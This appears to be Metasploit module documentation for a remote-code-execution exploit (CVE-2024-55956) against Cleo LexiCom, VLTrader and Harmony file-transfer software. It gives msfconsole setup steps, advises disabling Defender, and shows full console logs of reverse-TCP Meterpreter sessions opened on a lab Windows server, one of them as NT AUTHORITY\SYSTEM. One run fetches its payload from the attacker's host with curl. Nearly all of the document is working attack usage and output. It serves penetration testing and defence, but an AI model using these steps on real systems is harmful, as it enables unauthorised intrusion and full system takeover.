## Vulnerable Application
This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
versions 5.8.0.23 and below.

For a full technical analysis, please see our
AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis).

## Testing
You must install a vulnerable copy of Cleo LexiCom, VLTrader, or Harmony. The vendor install guide for Cleo LexiCom
can be found [here](https://cleo-infoeng.s3.us-east-2.amazonaws.com/PDF/LexiCom/5.8/LexiCom_58_InstallGuide_072222.pdf).
During testing of this module Cleo LexiCom was used. On Windows you will download the `install.exe` file and on Linux
you will download the `install.bin` file. Running the installer to complete the installation. 

By default, the HTTP service will listen on TCP port 5080, so you will need to allow inbound connections to this port
from your firewall.

If testing the default Windows payloads, you should disable Defender.

## Verification Steps

1. Start msfconsole
2. `use exploit/multi/http/cleo_rce_cve_2024_55956`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set LHOST eth0`
5. `set LPORT 4444`
6. `set target 0`
7. `set PAYLOAD java/meterpreter/reverse_tcp`
8. `check`
9. `exploit`

## Scenarios

### Java

```
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
RHOSTS => 192.168.86.50
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
LHOST => 192.168.86.42
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0
target => 1
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(multi/http/cleo_rce_cve_2024_55956) > show options 

Module options (exploit/multi/http/cleo_rce_cve_2024_55956):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.86.50    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    5080             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java



View the full module info with the info, or info -d command.

msf exploit(multi/http/cleo_rce_cve_2024_55956) > check
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
msf exploit(multi/http/cleo_rce_cve_2024_55956) > exploit 
[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
[*] Sending stage (58073 bytes) to 192.168.86.50
[+] Deleted temp/iidqizro
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:59172) at 2024-12-17 13:40:58 +0000
[!] This exploit may require manual cleanup of 'temp/kagdkplw' on the target

meterpreter > getuid
Server username: WIN-V28QNSO2H05$
meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows Server 2022 10.0 (amd64)
Architecture    : x64
System Language : en_IE
Meterpreter     : java/windows
meterpreter > pwd
C:\LexiCom
meterpreter >
```

### Windows Command

```
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
RHOSTS => 192.168.86.50
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
LHOST => 192.168.86.42
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1
target => 1
msf exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp
payload => cmd/windows/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/cleo_rce_cve_2024_55956) > show options 

Module options (exploit/multi/http/cleo_rce_cve_2024_55956):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.86.50    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    5080             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                           no        Comma-separate list of extensions to load
   EXTINIT                              no        Initialization strings for extensions
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      APpIYmSCo        no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/cleo_rce_cve_2024_55956) > check
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
msf exploit(multi/http/cleo_rce_cve_2024_55956) > exploit 
[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
[+] Deleted temp/hzbcsche
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:59175) at 2024-12-17 13:42:09 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-V28QNSO2H05
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > pwd
C:\LexiCom
meterpreter >
```
